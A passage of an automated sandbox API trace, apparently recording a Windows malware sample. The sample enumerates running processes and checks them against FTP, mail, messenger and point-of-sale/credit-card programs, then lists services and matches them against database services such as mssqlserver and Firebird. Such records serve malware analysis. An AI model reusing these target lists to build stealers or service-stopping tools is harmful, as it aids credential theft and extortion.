th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0154.816] lstrlenW (lpString="alftp.exe") returned 9 [0154.816] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0154.817] lstrlenW (lpString="barca.exe") returned 9 [0154.817] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0154.817] lstrlenW (lpString="bitkinex.exe") returned 12 [0154.817] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0154.818] lstrlenW (lpString="coreftp.exe") returned 11 [0154.818] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0154.818] lstrlenW (lpString="far.exe") returned 7 [0154.819] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0154.819] lstrlenW (lpString="filezilla.exe") returned 13 [0154.819] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0154.820] lstrlenW (lpString="flashfxp.exe") returned 12 [0154.820] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0154.821] lstrlenW (lpString="fling.exe") returned 9 [0154.821] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0154.821] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0154.821] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0154.822] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0154.822] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0154.823] lstrlenW (lpString="icq.exe") returned 7 [0154.823] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0155.331] lstrlenW (lpString="leechftp.exe") returned 12 [0155.332] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0155.332] lstrlenW (lpString="ncftp.exe") returned 9 [0155.332] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0155.333] lstrlenW (lpString="notepad.exe") returned 11 [0155.333] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0155.334] lstrlenW (lpString="operamail.exe") returned 13 [0155.334] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0155.334] lstrlenW (lpString="pidgin.exe") returned 10 [0155.335] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0155.335] lstrlenW (lpString="scriptftp.exe") returned 13 [0155.335] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0155.336] lstrlenW (lpString="skype.exe") returned 9 [0155.336] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0155.337] lstrlenW (lpString="smartftp.exe") returned 12 [0155.337] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0155.337] lstrlenW (lpString="thunderbird.exe") returned 15 [0155.337] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0155.338] lstrlenW (lpString="totalcmd.exe") returned 12 [0155.338] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0155.344] lstrlenW (lpString="trillian.exe") returned 12 [0155.345] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0155.345] lstrlenW (lpString="webdrive.exe") returned 12 [0155.345] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0155.346] lstrlenW (lpString="whatsapp.exe") returned 12 [0155.346] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0155.347] lstrlenW (lpString="winscp.exe") returned 10 [0155.347] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0155.347] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0155.348] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0155.348] lstrlenW (lpString="active-charge.exe") returned 17 [0155.348] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0155.349] lstrlenW (lpString="accupos.exe") returned 11 [0155.349] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0155.350] lstrlenW (lpString="afr38.exe") returned 9 [0155.350] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0155.350] lstrlenW (lpString="aldelo.exe") returned 10 [0155.351] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0155.351] lstrlenW (lpString="ccv_server.exe") returned 14 [0155.351] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0155.352] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0155.352] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0155.352] lstrlenW (lpString="creditservice.exe") returned 17 [0155.352] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0155.353] lstrlenW (lpString="edcsvr.exe") returned 10 [0155.353] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0155.354] lstrlenW (lpString="fpos.exe") returned 8 [0155.354] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0155.355] lstrlenW (lpString="isspos.exe") returned 10 [0155.355] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0155.355] lstrlenW (lpString="mxslipstream.exe") returned 16 [0155.356] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0155.356] lstrlenW (lpString="omnipos.exe") returned 11 [0155.356] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0155.357] lstrlenW (lpString="spcwin.exe") returned 10 [0155.357] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0155.357] lstrlenW (lpString="spgagentservice.exe") returned 19 [0155.357] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0155.358] lstrlenW (lpString="utg2.exe") returned 8 [0155.358] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0155.358] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0155.359] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0155.359] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0155.359] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.360] lstrlenW (lpString="svchost.exe") returned 11 [0155.360] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0155.360] lstrlenW (lpString="taskhostw.exe") returned 13 [0155.361] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0155.361] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0155.361] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.362] lstrlenW (lpString="conhost.exe") returned 11 [0155.362] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0155.362] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0155.362] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.363] lstrlenW (lpString="conhost.exe") returned 11 [0155.363] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0155.363] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0155.363] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0155.364] lstrlenW (lpString="powershell.exe") returned 14 [0155.364] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.364] lstrlenW (lpString="conhost.exe") returned 11 [0155.364] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0155.365] lstrlenW (lpString="TiWorker.exe") returned 12 [0155.365] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0155.365] lstrlenW (lpString="sppsvc.exe") returned 10 [0155.365] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0155.366] lstrlenW (lpString="powershell.exe") returned 14 [0155.366] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.367] lstrlenW (lpString="conhost.exe") returned 11 [0155.367] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0155.367] lstrlenW (lpString="taskhostw.exe") returned 13 [0155.367] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0155.367] lstrlenW (lpString="NS2.exe") returned 7 [0155.368] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.368] lstrlenW (lpString="conhost.exe") returned 11 [0155.368] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0155.368] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0155.368] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0155.369] lstrlenW (lpString="dllhost.exe") returned 11 [0155.369] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0155.369] lstrlenW (lpString="winhost.exe") returned 11 [0155.369] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0155.492] lstrlenW (lpString="cmd.exe") returned 7 [0155.493] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.508] lstrlenW (lpString="conhost.exe") returned 11 [0155.510] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0155.516] CloseHandle (hObject=0x38c) returned 1 [0155.516] Sleep (dwMilliseconds=0x1f4) [0156.157] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eefb8 [0156.158] EnumServicesStatusExW (in: hSCManager=0x6eefb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0156.161] GetLastError () returned 0xea [0156.161] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d0998 [0156.162] EnumServicesStatusExW (in: hSCManager=0x6eefb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d0998, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d0998, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0156.163] CloseServiceHandle (hSCObject=0x6eefb8) returned 1 [0156.171] lstrlenW (lpString="Appinfo") returned 7 [0156.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0156.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0156.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0156.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0156.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0156.171] lstrlenW (lpString="AppXSvc") returned 7 [0156.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0156.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0156.171] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0156.171] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0156.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0156.171] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.171] lstrcmpiW 